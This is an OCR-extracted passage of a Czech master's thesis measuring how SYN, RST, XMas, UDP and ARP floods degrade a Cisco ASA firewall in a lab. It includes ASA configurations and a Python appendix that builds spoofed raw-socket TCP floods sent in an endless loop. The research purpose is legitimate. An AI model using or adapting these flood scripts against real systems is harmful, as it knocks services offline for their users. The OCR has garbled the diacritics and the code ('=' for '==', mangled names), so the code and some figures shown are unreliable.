
Choose software to install:

<Cont inue:

Obr. 4.3: Netinstall

4.4 PC

Pro méreni DDoSRate byl pouzit PC Lenovo ThinkStation E20 s opera¢nim systé-
mem Debian, ktery byl nainstalovan stejnym zptisobem jako na server. Instalace byla
doplnéna o ,,Debian desktop enviroment“, viz obr. 4.3. Pro potieby zachytavani pa-
ket byl jesté doinstalovan program Wireshark ve verzi 1.8.2 (obr. 4.4). Hardwarova

konfigurace je v tabulce 4.3.

CPU | Intel Xeon E3440 @2,53 GHz
RAM 8GB / 1333 MHz
HDD WDC WD2500-250 GB
Sit 1Gb/s

Sit 2 100 Mb/s

Tab. 4.3: PC Lenovo—HW parametry

root@wireshark:~#apt-get install update

root@wireshark:~#apt-get install wireshark

Obr. 4.4: Instalace Wireshark

31




5 SIT S TESTEREM AVALANCHE

Cilem néasledujicich test bylo zjistit referencni hodnoty pro dalsi méreni a také vliv
DoS ttoki. Pro méfeni byla navrzena jednoduchd sit (obr.5.1). Klicovymi prvky
byly Spirent Avalanche 3100B a Cisco ASA 5510. Pro potreby spravy téchto zarizeni
byl k dispozici virtudlni pocitac se systémem Windows Server 2012 a Cisco prepinac
Catalyst 2960 (SW-M).

192.168.1.2
Spirent Avalanche
SW-M
Sprava —
192.168.1.4 192.168.10.1 — outside

192.168.1.250

Cisco ASA 5510

Obr. 5.1: Topologie laboratorni sité

5.1 Spolecné parametry testii

5.1.1 Avalanche

Spirent Avalanche byl pripojen fyzickymi porty 4, 5. Na portu 4 byli emulovani kli-
enti, na portu 5 server. Test byl nastaven pro pouziti protokolu HT'TP. Na klientské
strané bylo povoleno maximalné 100 IP adres, na serverové strané byla jedna IP ad-
resa. Vzhledem k tomu, Ze klienti a server byli v riznych IP sitich, byl test nastaven

s pouzitim vychozi brany (ASA).

32



Klient

IP 192.168.10.2-192.168.10.102
Vychozi brana 192.168.10.1
Fyzicky port Avalanche 4

HTTP server
IP 10.10.10.2
Vychozi brana 10.10.10.1
HTTP port 80
Fyzicky port Avalanche )
Typ HTTP serveru Apache/2.0.49(Unix)

Tab. 5.1: Avalanche —konfigurace

5.1.2 Cisco ASA

Pro testovani byl firewall Cisco ASA resetovan do tovarniho nastaveni. Poté byla
provedena zékladni konfigurace:

e hostname, enable password;

IP adresy rozhrant;

security-level na rozhranich;

SSH pristup pro spravu;

ASDM pristup pro spravu;
e povoleni prichozich spojeni na TCP portu 80.

Konfigura¢ni prikazy jsou v priloze A.

Capture

Pro kontrolu funkcénosti generace DDoS itoku 1ze pouzit napiiklad funkci ,,Capture*
na Cisco ASA. Nejdrive je pomoci access-listu vybran pozadovany provoz. V tomto
ptipadé provoz z IP prostoru 192.168.11.0/24 (viz tab. 5.4). Poté je vytvofen capture
na rozhrani outside (obr.5.2).

ciscoasa(config)#access-1list DDOS80out_in extended permit tcp
192.168.11.0 255.255.255.0 any eq www

ciscoasa(config)#capture ddos80 access-1list DDOS80out_in interface
outside

ciscoasa(config)#show capture ddos80

Obr. 5.2: Nastaveni Capture
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Po zadani prikazu ,,show capture ddos80“ je mozné vidét zachycené pakety DDoS
utoku ASA. Tato funkce ma znacny vliv na vykon firewallu, proto ji lze pouzit pouze

pro kontrolu. Pfi samotném testovani byla funkce capture vypnuta.

5.2 Testovani bez vlivu DoS

5.2.1 TCP connections/s

Cilem tohoto testu bylo zjistit maximalni pocet soubéznych TCP spojeni za sekundu,
které je firewall schopen propustit. Testovani probihalo ve dvou testech. V prvnim
testu byla zmérena hrubd hodnota zatéze. Ve druhém byla hodnota zatéze upres-
néna. Parametrem testu je zatéz (connections/s). Kriticka hranice, pod kterou nesmi

pocet spojeni klesnout, byla uréena na 95 %. Statické parametry jsou v tabulce 5.2.

Aging time— ASA 1 hodina
Aplikacni protokol | HTTP/1.1
http body size 1450 bajtt

Tab. 5.2: Statické parametry testu

Akce klienta:

GET http://10.10.10.2/index . html

Prvni test byl definovan v rozsahu connections/s od 0 do 75000 connection-
s/s (obr.5.3). Hodnota 75000 byla zvolena jako 1,5 nasobek specifikace vyrobce fi-
rewallu. Vyrobce uvadi maximalni pocet spojeni pro ASA 5510 50 000. Vyska kroku
byla zvolena 50000/10 = 5000 connections/s.

Na obrazku 5.4 je vidét detail definovaného prubéhu v case od 0 do 160s. Ramp
time je 20 s, steady time je 120s. Tento pribéh je v celém dobé opakovan 15x (mimo
interval od 0 do 20s).
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connections/s f(t)
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Obr. 5.3: Ocekavany pribéh testu

connections/s f(t)

103

6 Steady time :
@ |

25 ARRREE
R i
£ 4 |
= |
= |
S |
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] I
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t(s)

Obr. 5.4: Detail ocekavaného pribéhu

Vysledkem 1.testu je priubéh zatéze na obrazkub.5. Zde je vidét ocekavany a
nameéfeny prubéh, pficemz namétfeny prubéh se kolem hodnoty 40000 connections/s
znacné odchyluje od ocekdvaného. 40000 connections/s je tedy priblizna hodnota
spojeni, kdy kapacita firewallu prestava dostacovat. Hodnota byla oznacena jako
,PTiblizna kritickd “.
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Obr. 5.5: Vysledné priubéhy 1. testu

Pro upresnéni byl vytvoren druhy test. V tomto testu byl nadefinovan pocatecni
skok na hodnotu Ptibliznd kritickd — 20 % = 32000 connections/s. Od této Grovné
bylo definovdno 40 skoki o velikosti Priblizna kritickd /100 = 400 connections/s.
Ocekavany prubéh je na obrazku 5.6.

connections/s f(t)

zatéZ (connections/s)

102

Obr. 5.6: Ocekavany pribéh 2. testu
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Z vysledného pribéhu druhého testu (obr.5.7) je vidét, ze firewall zac¢inal mit

problémy s mnozstvim spojeni na trovni cca 38 000 connections/s. V této trovni jiz

pocet tspésnych spojeni klesa pod kritickou 95% hranici (zelené).

zdtéZ (connections/s)

connections/s f(t)

103

50 I T T I I T

40 |

30 |- )

20 |- a
— ocekavany

10 |- —— kritickd hranice | |
— skutecny

0 | | | | | I I I I I

| | | | |
0 20 40 60 80 100 120 140 160 180 200 220 240 260 280 300 320

t(s) 10!
Obr. 5.7: Vysledné priubéhy 2. testu

V detailnim zobrazeni (obr. 5.8) prubéhi uz lze maximélni hodnotu connection-

s/s, kterou byl schopen firewall zvladnout, vy¢ist. Maximalni pocet soubéznych TCP

spojeni je tedy 38 760 connections/s. Tento vysledek neni pouzit v dalsich testech,

jedna se totiz o hodnotu vztazenou k 4. vrstvé modelu ISO/OSI.

connections/s f(t)

103
4 10
)
=
S
T 40
=
538.76
o
= 38
O
3
36 |

— ocekavany
—— kritick& hranice

— skutecny
| |

160

| | | | I
170 180 190 200 210 220 230 240
t(s) 10!

Obr. 5.8: Detail prabéhu 2. testu
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5.2.2 HTTP propustnost

Cilem tohoto testu bylo urc¢it maximalni propustnost firewallu na 7. vrstvé modelu
ISO/OSI. Test pracuje s protokolem HTTP. Parametrem testu byl pocet generova-
nych spojeni za sekundu a déle velikost prenasenych dat. Kriticka hranice byla 95 %
uspésnych HT'TP transakeci.

Test byl nastaven tak, aby klient vyslal zadost na server a server vracel data.

Statické parametry testu jsou v tab. 5.3.

Aging time—ASA 1 hodina
Aplikaéni protokol | HTTP/1.1
http body size 200kB

Tab. 5.3: Statické parametry testu

Akce klienta —metoda GET odesle zadost o data na server [13]. Velikost odpovédi
serveru je 200kB (body), (tab.5.3).:

GET http://10.10.10.2/index . html

Cilem prvniho typu testovani bylo urcit hodnotu zatéze, pri které je tispésnost
HTTP transakei vice jak 95 %. Tento test byl odvozen od testu v kapitole 5.2.1. Tuto
podminku spliiuje pribéh zatéze na obrazku 5.9. Hodnota zatéze je 425 connections/s
a uspésnost HTTP transakel je 95,86 %. Tento vysledek byl nalezen postupné néko-

lika testy s rtiznou hodnotou zatéze.
zatez f(t)
500

425
400

T
Steady time

300

200

zdtéZ (connections/s)

100

0 15 30 45 60 75 90 105 120
t(s)

Obr. 5.9: Ocekavany pribéh zatéze

135 150
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Vysledny prabéh propustnosti je uveden na obrazku 5.10. Maximalni hodnota je

664 945 kb/s. Tento vysledek pfiblizné odpovida vypoctu podle vztahu:

propustnost(b/s) = zatéz(connections/s) - velikostsouboru(B) - 8 (5.1)

107 propustnost f(t)
800 [ ‘

665 —_—
600 - a

400 .

I

propustnost (kb/s)

0 | | | | | | | |
0 15 30 45 60 75 90 105 120 135 150

t(s)
Obr. 5.10: Vysledna propustnost

Vyslednd maximalni propustnost firewallu (pouze se zakladnim nastavenim) je
664 945 kb/s, pii minimalné 95% uspésnosti HT'TP transaked.
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5.3 Testovani s vlivem DoS

V nasledujicich podkapitolach je popsano testovani vlivu DDoS ttoku na uspés-
nost HT'TP transakeci a propustnost firewallu. Testy byly nadstavbou testu HT'TP
propustnost (kap.5.2.2).

Statické parametry DDoS ttoki jsou popsany v tabulce 5.4. Dynamickym para-
metrem je DDoSrate —pocet generovanych DDoS paketti/s. Celkovy pocet genero-

vanych paketi byl vzdy zvolen tak, aby platil vztah:

Celkovy PocetGenPaketu = D DoSrate - Cas (5.2)

Cas je konstantni doba 200s. Tato doba byla odvozena z pribéhu v testu HTTP
propustnost (obr.5.9) tak, aby tutok prekryl dobu legitimniho provozu. Postup-
nym zvysovanim generovaného poctu paketii, respektive DDoSrate, byla simulovana

vzristajici hodnota DDoS zatéze.

Pocatecni zdrojova MAC adresa |  05:00:00:00:00:01
Priristek zdrojové MAC adresy +1

Cilova MAC adresa 44:D3:CA:CF:6D:96
Zdrojova IP adresa 192.168.11.20
Cilova IP adresa 192.168.10.1
Globalni prodleva 5000 ms

Tab. 5.4: Spolecné parametry DDoS tutoku

5.3.1 HTTP uspésnost se SYN Flood

Avalanche byl nastaven pro generovani DDoS ttoku typu SYN Flood (teoreticky po-
pis je v kapitole 1.1.1). Nastaveni statickych parametra SYN Flood ttoku je uvedeno
v tabulce 5.5. Globalni parametry viz tabulka 5.4.

Pocet opakovani sekvence 1
TCP zdrojovy port 1024
TCP cilovy port 80
Lokalni prodleva Oms

Tab. 5.5: Statické parametry SYN Flood ttoku

Na obrazkub5.11 je vidét procentualni tispésnost provadénych transakci v zavis-
losti na zvysujicim se poc¢tu generovanych DDoS paketti/s. Kritickd hranice 95 %

uspésnych transakei je dodrzena jesté pri ttoku 25000 paketi/s.
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Obr. 5.11: Uspé&snost transakei pii SYN Flood ttoku

Na obrazku 5.12 je vidét 6 pribéht propustnosti. Jejich parametrem je DDoSrate.
Cerveny pritbéh zobrazuje propustnost firewallu pfi 250 000 DDoSrate. Propustnost

neni blizkd nule, ovsem tspésnost transakei je jiz méné nez 5 %, viz obr. 5.11.
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Obr. 5.12: Propustnost v zavislosti na DDoSrate (SYN Flood)

U testu vychdzi, pii méné nez 5% uspésnosti spojeni, nenulové hodnoty propust-

nosti. Toto je zpusobeno tim, ze procentualni hodnoty netspésnosti jsou vztazeny
k HTTP protokolu. Tedy k 7. vrsté modelu ISO OSI. Ovsem hodnoty propustnosti
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jsou vztazeny k protokolu TCP. Tedy ke 4. vrstvé modelu. Avalanche tedy generuje
definovanou zatéz, viz napr. obrazek 5.9, ovsem na trovni 7. vrstvy jiz neni mozné
uspésné ukoncit spojeni (HT'TP transakce). Nemoznost provedeni uspésnych HTTP

spojeni je zptsobeno zahlcenim firewallu DDoS utokem.

5.3.2 HTTP tspésnost s UDP Flood

Avalanche byl nastaven pro generovani DDoS titoku typu UDP Flood (kapitola 1.1.4).
Nastaveni statickych parametrit UDP Flood ttoki je uvedeno v tabulce 5.6. Globalni

parametry viz tabulka 5.4.

Pocet opakovani sekvence
UDP zdrojovy port

UDP cilovy port

Lokalni prodleva

1
1024
512

Oms

Tab. 5.6: Statické parametry UDP Flood ttoku

Na obrazku5.13 je vidét procentualni ispésnost provadénych transakci v zavis-

losti na zvysujicim se poc¢tu generovanych DDoS paketti/s. Kritickd hranice 95 %

uspésnych transakei je dodrzena jesté pri ttoku 25000 paketi/s.
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Obr. 5.13: Uspé&snost transakei pii UDP Flood ttoku
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5.3.3 HTTP tuspésnost s RST Flood

Avalanche byl nastaven pro generovani DDoS ttoku typu RST Flood (kapitola1.1.2).
Protoze utok opét pouziva TCP protokol je nastaveni statickych parametri RST
Flood tutoki stejné jako pro SYN utok. Parametry jsou tedy v tabulce 5.5. Globalni
parametry viz tabulka 5.4.

Na obrazkub5.14 je vidét procentualni tispésnost provadénych transakci v zavis-
losti na zvysujicim se poc¢tu generovanych DDoS paketti/s. Kritickd hranice 95 %

uspésnych transakei je dodrzena jesté pri ttoku 25000 paketi/s.
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Obr. 5.14: Uspé&snost transakel pii RST Flood ttoku

5.3.4 HTTP tuspésnost s XMasTree Flood

Avalanche byl nastaven pro generovani DDoS ttoku typu XMasTree Flood (kapi-
tola1.1.3). Protoze ttok opét pouzivi TCP protokol, je nastaveni statickych pa-
rametri XMasTree Flood tutoku stejné jako pro SYN Flood tutok. Parametry jsou
uvedeny v tabulce 5.5. Globalni parametry viz tabulka 5.4.

Na obrazku5.15 je vidét procentualni tispésnost provadénych transakci v zavis-
losti na zvysujicim se poc¢tu generovanych DDoS paketti/s. Kritickd hranice 95 %
uspésnych transakei je pri ttoku 25000 paketti/s mirné nedosazena, ale pro zjedno-

duseni je tato hodnota brana jako dostacujici.
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Obr. 5.15: Uspé&snost transakei pii XMasTree Flood ttoku

5.3.5 HTTP tuspésnost s ARP Flood

Avalanche byl nastaven pro generovani DDoS ttoku typu ARP Flood (kapitola 1.1.5).
Nastaveni statickych parametri ARP Flood ttokt je uvedeno v tabulce 5.7. Globalni

parametry viz tabulka 5.4.

Pocet opakovani sekvence 1
ARP zdrojova MAC adresa | 0A:05:00:00:00:01
ARP cilovda MAC adresa 44:D3:CA:CF:6D:96

ARP zdrojova IP adresa 10.5.0.1
ARP cilova IP adresa 10.13.0.1
ARP typ operace 2
Lokalni prodleva 0 ms

Tab. 5.7: Statické parametry ARP Flood ttoku

Na obrazku5.16 je vidét procentualni ispésnost provadénych transakci v zavis-
losti na zvysujicim se poc¢tu generovanych DDoS paketti/s. Kritickd hranice 95 %
uspésnych transakel je dodrzena jesté pii ttoku 2030 paketi/s. V grafu je také
vynesena hodnota tspésnosti pi 25000 DDoSrate. Je vidét, Ze tispésnost je mensi
nez 5%. Hodnoty jsou Faddové nizsi nez u predchazejicich typu utoku. Toto muze
byt zptisobeno vétsi naroénosti zpracovani na strané firewallu [10]. Firewall neni pri-

marné urcen pro ochranu sité na druhé vrstvé. To by mély obstarat jiné prvky, napt.

prepinace.
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Obr. 5.16: Uspé&snost spojeni pii ARP Flood ttoku

5.3.6 Vyhodnoceni DDoS tutokti — Avalanche

Na obrazku 5.17 je vidét, ze utoky na 4.vrstvé maji priblizné stejné priubéhy. ARP
Flood 1tok, ktery pracuje na 2.vrstvé modelu, ma radové vyssi vliv na tspésnost
transakei (zde jsou pouze hodnoty 10000 a 25000, podrobnéji viz obr. 5.16).
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Obr. 5.17: Srovnani DDoS utokt
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6 SIT SERVER-PC

Pro méreni sily ttoki generovanych ze serveru bylo vytvoreno zapojeni na ob-
razku6.1. Pro generovani ttoki jsou urceny scripty napsané v jazyku Python (pii-
loha C). PC je urcen pro zméteni sily utoku (DDoSrate).

Server i PC maji dvé sifové karty. Jednu pro spravu a druhou pro generovani
provozu. Prepina¢ SW-1 je urcen pro testovani kombinace Server+Avalanche v kapi-
tole 7, pro zachovani stejnych podminek byl vsak vlozen jiz ted. Jedna se o gigabitovy
prepinac¢ Linksys EGOO8W. Parametry PC jsou uvedeny v kapitole 4.4.

Sprava —
192.168.1.4

192.168.1.168

192.168.1.167 | eth0

ethl

SW-1
192.168.10.100 g7 192.168.10.1

PC
Server

Obr. 6.1: Topologie laboratorni sité Server —PC

6.1 Nastaveni PC

Vzhledem k tomu, ze DoS pakety maji podvrzenou zdrojovou adresu, byly by od-
povédi operacniho systému PC smérovany na vychozi branu. V tomto pripadé byla
vychozi brana nastavena do management sité (obr.6.2). Protoze je nezddouci zahl-
covat management sit odpovédmi, bylo na PC upraveno nastaveni iptables pomoci
nésledujicich prikazi (obr.6.3). Timto byly zablokovany pakety pochazeji z PC, po-
voleny byly pouze pakety pro spravu systému (SSH, VNC).
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root@wireshark:~# netstat -rn

Kernel IP routing table

Destination Gateway Genmask Flags MSSWindow irtt Iface
0.0.0.0 192.168.1.1 0.0.0.0 UG 0 0 0 ethO
192.168.1.0 0.0.0.0 255.255.255.0 Uu~0 O 0 ethO
192.168.10.0 0.0.0.0 255.255.255.0 Uu~0 O 0 ethl

Obr. 6.2: Smérovaci tabulka PC

root@wireshark:~#iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT
root@wireshark:~#iptables -A OUTPUT -p tcp --sport 5901 -j ACCEPT
root@wireshark:~#iptables -P OUTPUT DROP

Obr. 6.3: Nastaveni iptables

Vysledné nastaveni iptables je na obrazku 6.4:

root@wireshark:~# iptables -L -n -v
Chain INPUT (policy ACCEPT 275K packets, 11M bytes)

pkts bytes target prot opt in out source destination

Chain FORWARD (policy ACCEPT O packets, O bytes)

pkts bytes target prot opt in out source destination

Chain OUTPUT (policy DROP 41 packets, 2462 bytes)

pkts bytes target prot opt in out source destination
286 4278 ACCEPT tcp -- * x 0.0.0.0/0 0.0.0.0/0 tcp spt:22
6947 45M ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp spt:5901

Obr. 6.4: iptables

6.2 Generovani DoS—-14

Zékladni kroky scriptu Main.py jsou znadzornény ve stavovém diagramu na ob-
razku 6.5. Po rozhodnuti, ktery typ utoku bude spustén, prichazi samotna tvorba
paketu a nasledné odesilani. Piiklad pro TCP SYN ttok je znazornén pomoci sek-
vencniho digramu (obr. 6.6). Samotny script je v ptiloze C.1.

Operace skriptu Main.py:

o Import knihoven;

o vytvoreni RAW Socketu;

 alokace vychozich globalnich proménnych;
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o funkce main;
» nacteni uzivatelskych parametri;
o spusténi funkce udp() nebo nacteni typu TCP ttoku a spusténi funkce tcp().

inicializace

[tep] [udp]

¢ekanina
uZivatele

[s] [r] (x]
v ~a Y
SYN RST XMas ] ( ubp
)

Obr. 6.5: Stavovy diagram Main scriptu

—L

6.2.1 TCP kontrolni soucet

Kontrolni soucet (Checksum) v hlaviéce TCP protokolu je vypocitan spolu s hod-
notami IP hlavicky. Vzhledem k tomu, ze IP zapouzdiovani je teoreticky provadéno
az v dalsim kroku, tzn. po vytvoreni kompletnitho TCP segmentu, pouziva se pro
vypocet tzv. Pseudo IP hlavicka“. Grafické znazornéni je v priloze B. Pseudo 1P
hlavicka obsahuje: zdrojovou IP adresu, cilovou IP adresu, typ protokolu (TCP mé
hodnotu 6), délku TCP segmentu. Pii vypoctu délky TCP segmentu je hodnota
Checksum rovné nule. Ve scriptu classTCPsegment.py (priloha C.3) je tento postup
napsan v metodé getCorrect TCPHeader.
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tep()

—new (sourcelP, destIP, "tcp" )P packetl p:|ppacket

|
new (sourcePort, destPort, "s")——p»

segment:TCPsegment

I
get|PHeader()—————— P> |

—getCorrectTCPHeader(packet|Py——p

Ke————— —————— = — — — — 1 |- — — -CorrectTCPHeader— — — — — — — —

Obr. 6.6: Sekvenéni diagram pro TCP SYN tutok

6.3 Generovani DoS —1L2

Protoze se parametry ARP utoku vyrazné lisi od parametri itokt na ¢tvrté vrstve,
byl pro generovani ARP ttoku vytvoren zvlastni script (priloha C.5).
Operace skriptu ARP.py:
import knihoven;
alokace vychozich proménnych;
vytvoreni RAW Socketu;
vytvoreni Ethernetové hlavicky;
vytvoreni ARP hlavicky;
vytvoreni ARP dat odesilatele;
vytvoreni ARP dat cile;

odesilani ramect ve smycce.

X N Tt W
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6.4 Vysledné hodnoty DDoSRate

Na PC byl spustén program Wireshark a zapnuto zachytavani provozu na rozhrani
ethl, viz obr.6.1. Poté byl po dobu 20s generovan DoS 1tok ze serveru. Zachyceny
provoz byl ulozen do .pcap souboru a nasledné zpracovan. Zpracovanim se rozumi
odfiltrovani provozu, ktery nesouvisi se samotnym DoS. Namérené hodnoty DDo-
Srate jsou v grafu na obrazku6.7. Je vidét, Ze generovani ARP pakett je priblizné
0 60000 paketii/s rychlejsi. ARP paket je pro systém méné naroény na odeslani nez
paket ¢tvrté vrstvy.

Zavislost DDoSrate na typu utoku

XMS - — | |

UDP - B

S SYN

RST

ARP B

| | | | | | |

170 180 190 200 210 220 230 24
DDoSrate (pakety/s) 103

Obr. 6.7: Srovnani DDoSrate pro jednotlivé typy utoku
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Méreni na serveru

Pro ovéreni zavislosti DDoSrate na HW vykonu, byly pakety generovany z PC na
server. Toto meéreni je pouze doplnkové a bylo provedeno jako posledni, tzn. az po
meéfenich v kapitole 7. Na obrazku 6.8 je vidét narist poctu paketi za sekundu. HW
parametry PC jsou v tabulce 4.3.

Zavislost DDoSrate na typu utoku

I I I T I T

XMS
UDP
= SYN

RST

ARP B
| | | | | | | | | |
170 180 190 200 210 220 230 240 250 260
DDoSrate (pakety/s) 103
= server ™ PC

Obr. 6.8: Srovnani DDoSrate, generovano ze serveru / PC
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7 SIT SERVER - AVALANCHE

V této kapitole byl server zapojen do sité pomoci prepinace SW-1. Schéma je na
obrazku 7.1. Server byl nastaven stejnym zpusobem jako v kapitole 6. Avalanche byl
nastaven pro méreni HT'TP tuspésnosti, kap. 5.2.2.

Zaroven se spusténim testu ze zafizeni Avalanche bylo také spusténo generovani

DoS tutoku ze serveru.

i
192.168.1.2 ‘ -
?! Y h

-

Spirent Avalanche
_ SW-M SW-1
Sprava —
192.168.1.4

192.168.10.1 — outside

ASA Eth0/0
192.168.1.250
10.10.10.1 - inside
| Etho/1

Cisco ASA 5510

192.168.1.168 192.168.10.100

ethO E ethl

Server

Obr. 7.1: Topologie laboratorni sité Server+Linux
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7.1 Vysledné hodnoty tspésnosti HT'TP transakci

Vysledné hodnoty na obrazku 7.2 odpovidaji odekdavani. Uspésnost transakef se po-
hybuje kolem 16 %. Vyjimkou je ARP ttok, ktery vzhledem k velikosti DDoSrate
(obr.6.7), vykazuje 0% tspésnost. Tyto hodnoty byly ocekavany vzhledem ke grafu
na obrazkub.17.

uspésnost f(DDoSrate)

100 ‘ ‘
95

80 .

I

£ (%)

60 .

USPESN0S

I

40 .

I

20 a

0 T T T | | T

0 20 40 60 80 100 120 140 160 180 200 220 240 260
DDoSrate (pakety/s) 103

InuDPlISYN
RST BEXMS

Obr. 7.2: Uspésnost transakci pri ptisobeni ttokii ze serveru

7.2 Srovnani Avalanche se serverem

Avalanche je zafizeni specialné vyvinuté mimo jiné pro generovani paketi. Je schopné
generovat vétsi mnozstvi paketi za sekundu (DDoSrate) nez server. V grafu na
obrazku5.17 je vidét DDoSrate 250000 paketi/s. To je téméf o 80000 paketi/s
vice nez byl schopen generovat pouzity server (obr.6.7). Mezi dalsi vyhody patii
napriklad moznost regulace mnozstvi generovanych paketii/s a také moznost méreni
sily utoku.

Z popisu skriptu v kapitole 6 je vidét, ze silu ttoku (DDoSrate) nelze regulovat.
Skripty pouzivaji nekonecnou ,while“ smycku, ktera je prerusena az uzivatelem.
Neni zde zadny algoritmus, ktery by reguloval DDoSrate. Takovyto algoritmus by
ubiral vypocetni vykon a tim padem snizil maximalni mnozstvi generovanych paketii.
Server tedy generoval maximum paketii/s a pro méfeni sily utoku bylo do sité nutné
pripojit PC (obr.6.1).
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8 ZAVER

Tato diplomova prace se zabyva popisem ttoki odepreni sluzeb a jejich vlivem na
vykon firewallu. V teoretické ¢asti byly zpracovany utoky, které je mozno simulovat
pomoci testeru Spirent Avalanche 3100B. V dalsi ¢asti ivodu jsou popsany funkce
a zakladni déleni firewallti. V praktické casti prace byly vytvoreny celkem tii labo-
ratorni sité, které slouzily pro simulaci vybranych ttokt.

Prvni sit byla tvorena testerem Spirent Avalanche 3100B, ke kterému byl pri-
pojen firewall Cisco ASA 5510. Tester byl uréen pro generovani utoku a emulaci
funkce klientti i serveru. Firewall byl nastaven pouze do zakladniho nastaveni, které
v podstaté odpovida paketovému firewallu. Timto zptisobem byly nalezeny referencéni
hodnoty pro dalsi méfeni. Po zméreni referencnich hodnot a definovani podminek
byl Avalanche pouzit také jako generator utoki odepreni sluzeb. Byly zméreny sily
utoka (DDoSrate), pti kterych je tspésnost HTTP transakei 95% nebo vyssi, a bylo
zjisténo, ze v piipadé ttokid na ¢trvté vrstve modelu ISO/OSI jsou kritické hodnoty
DDoSrate priblizné 23200 paketi/s. V pfipadé ARP ttoku, tzn. dtoku na druhé
vrstvé modelu, je hodnota 2030 paketi/s.

Druha sit byla tvorena linuxovym serverem a PC. Oba s opera¢nim systémem
Debian. Toto zapojeni slouzilo ke zméteni DDoSrate ttoki generovanych z linuxo-
vého serveru. Pro generovani itokt byly vytvoreny skripty v jazyku Python. Skripty
jsou dva, prvni pro utoky na ¢tvrté vrstvé, druhy pro druhou vrstvu. Duvodem je
to, ze parametry utoki se znacné lisi. Pro zachovani citelnosti skriptu byly skripty
oddéleny. Princip skriptii lze shrnout do t¥i ¢asti. V prvni ¢asti jsou nacteny vstupni
hodnoty a vytvoren systémovy socket. Ve druhé c¢asti je formovan samotny paket
(rdmec) ttoku. V posledni ¢asti je paket ve smycce odesilan na cil itoku. Zmérené
hodnoty DDoSrate naznacovaly, Ze server bude schopen provést silny ttok, schopny
snizit tspésnost transakei na méné nez 25 %. V pripadé ARP dplné znemoznit spo-
jeni. Samotné ovéreni probihalo v ramci treti sité.

Treti sit byla vytvorena jako kombinace prvni a druhé sité. Generovani utoku
probihalo ze serveru. Avalanche byl pouzit pro méfeni tspésnosti HI'TP transakci.
V této ¢asti bylo ovéreno, Ze server je schopny snizit ispésnost transakei pod 25 %.
Hodnoty tispésnosti se pohybuji kolem 16 %. Z uvedenych vysledku vyplyva, Ze jeden
zdroj utoku (server) je schopen z velké ¢asti prerusit legitimni provoz. V pripadé

ARP utoku se potvrdilo o¢ekavané preruseni legitimni komunikace.
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VNC Virtual Network Computing
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A ZAKLADNI KONFIGURACE CISCO ASA

ciscoasa(config)#
!
hostname ciscoasa
enable password student
!
interface Ethermnet 0/0
ip address 192.168.10.1 255.255.255.0
nameif outside
no shutdown
exit
!
interface Ethermet 0/1
ip address 10.10.10.1 255.255.255.0
nameif inside
no shutdown
exit
!
interface Management 0/0
ip address 192.168.1.250 255.255.255.0
nameif management
security level 100
no shutdown
exit
!
crypto key generate rsa
ssh 192.168.1.0 255.255.255.0 management
aaa authentication ssh console LOCAL
username cisco password ciscossh
!
asdm image diskO:/asdm-712.bin
http server enable
http 192.168.1.0 255.255.255.0 management
!
access—-1list HTTPout_in extended permit tcp any 10.10.10.0
255.255.255.0 eq www

access—-group HTTPout_in in interface outside
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B TCP KONTROLNI SOUCET

TCP segment, checksum =0

. Check
TCP hlavicka Data
sum 0
[
\
\ /
N 7
_________________________________ Fm—————————
|
: Vypocet délky segmentu
- |
Pseudo IP hlavicka: v
Zdrojova IP Cilova IP Rezervovano | Protokol =6 Délka TCP segmentu
Pseudo IP hlavicka TCP hlavicka Check Data
um 0
i
\
\\ _ B P
___________________ e
|
|
[V
| Vypocet TCP checksum
|
Y
TCP
TCP hlavicka | check Data
sum

Obr. B.1: Vypocet TCP checksum [15]
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C SCRIPTY

C.1 Main.py

## DoS 14 script ##

## Jan Hanzal +##

import sys

import getopt

import socket

from classIPpacket import IPpacket

from classTCPsegment import TCPsegment
from classUDPdatagram import UDPdatagram

#vytvoreni RAW socketu
s = socket.socket (socket .AF INET, socket .SOCK RAW, socket .IPPROTO_TCP)
s.setsockopt (socket .IPPROTO_IP, socket.IP_HDRINCL, 1)

# Vychozi nastaveni
destIP = "192.168.10.1"
sourcelP = "111.0.0.19"

destPort = 80
sourcePort = 1024

protocol = "tcp'

thTyp J— “S“

#

defaultString = "Protocol " 4+ protocol + "\n" + "destIP " 4 destIP + "\
n“ + \

"destPort " 4+ str(destPort) 4+ "\n" + "sourcelP " + sourcelP + "\n' + '
sourcePort " + \
str (sourcePort) + "\n'

def main(argv):
"""Fce pro nacteni vstupnich argumentu a rozhodnuti mezi tcp()

a udp() funkcemi
global destIP, sourcelP , destPort, sourcePort, protocol, tcpTyp

try:
opts, args = getopt.getopt(argv, "hR:I1:P:i:p:", ["help"
, "protocol=", "destIP=", "destPort=", "sourcelP=",
"sourcePort="])

except getopt.GetoptError:
print ’Chyba. Vloz DoS.py —h pro napovedu’
sys.exit (2)
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for opt, arg in opts:
#Napoveda
if opt = ’—h’:
print "Main.py —R <protocol> —I <destination IP
> —P <destination Port> —i <source IP>" \
'"—p <destination Port>" 4+ "\n" + "\n" + "#H#
Vychozi nastaveni###" + "\n" +
defaultString
sys.exit ()

#typ protokolku
elif opt in ("-R"):
protocol = arg

#cilova IP adresa
elif opt in ("-1"):
destIP = arg

#cilovy port
elif opt in ("-p"):
destPort = arg

#zdrojova ip adresa
elif opt in ("—i"):
sourcelP = arg

#zdrojovy port
elif opt in ("-p"):
sourcePort = arg

#vypis nastaveni aktualniho utoku

print "Protocol " + protocol + "\n" 4+ "destIP " + destIP + "\n'
+ "destPort " + \

str(destPort) + "\n" + "sourcelP " 4 sourcelP 4+ "\n'" + '
sourcePort " 4+ str(sourcePort) + "\n'

#switch mezi tcp a udp
if protocol = "tcp":
print 'Zadej typ TCP utoku (s/r/x)"
tcpTyp = raw_input("Typ: ")
print "DoS TCP utok typu " + tcpTyp
tep ()
elif protocol = "udp":
print "DoS UDP utok"
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udp ()

def tep():
"""TCP DoS funkce. Rozhodovani mezi typy TCP DoS. """
#switch mezi SYN, RST a XMas
if tepTyp = "s'
packetIP = IPpacket (sourcelP , destIP, ’tcp’)
segment = TCPsegment (sourcePort , destPort, "s")
packet = packetIP.getIPHeader () + segment.
getCorrect TCPHeader (packetIP)
while True:
s.sendto (packet , (destIP, destPort))
elif tepTyp = "r":
packetIP = IPpacket (sourcelP , destIP, ’tcp’)
segment = TCPsegment (sourcePort , destPort, "r")
packet = packetIP.getIPHeader () + segment.
getCorrect TCPHeader (packetIP)
while True:
s.sendto (packet , (destIP, destPort))
elif tepTyp = "x":
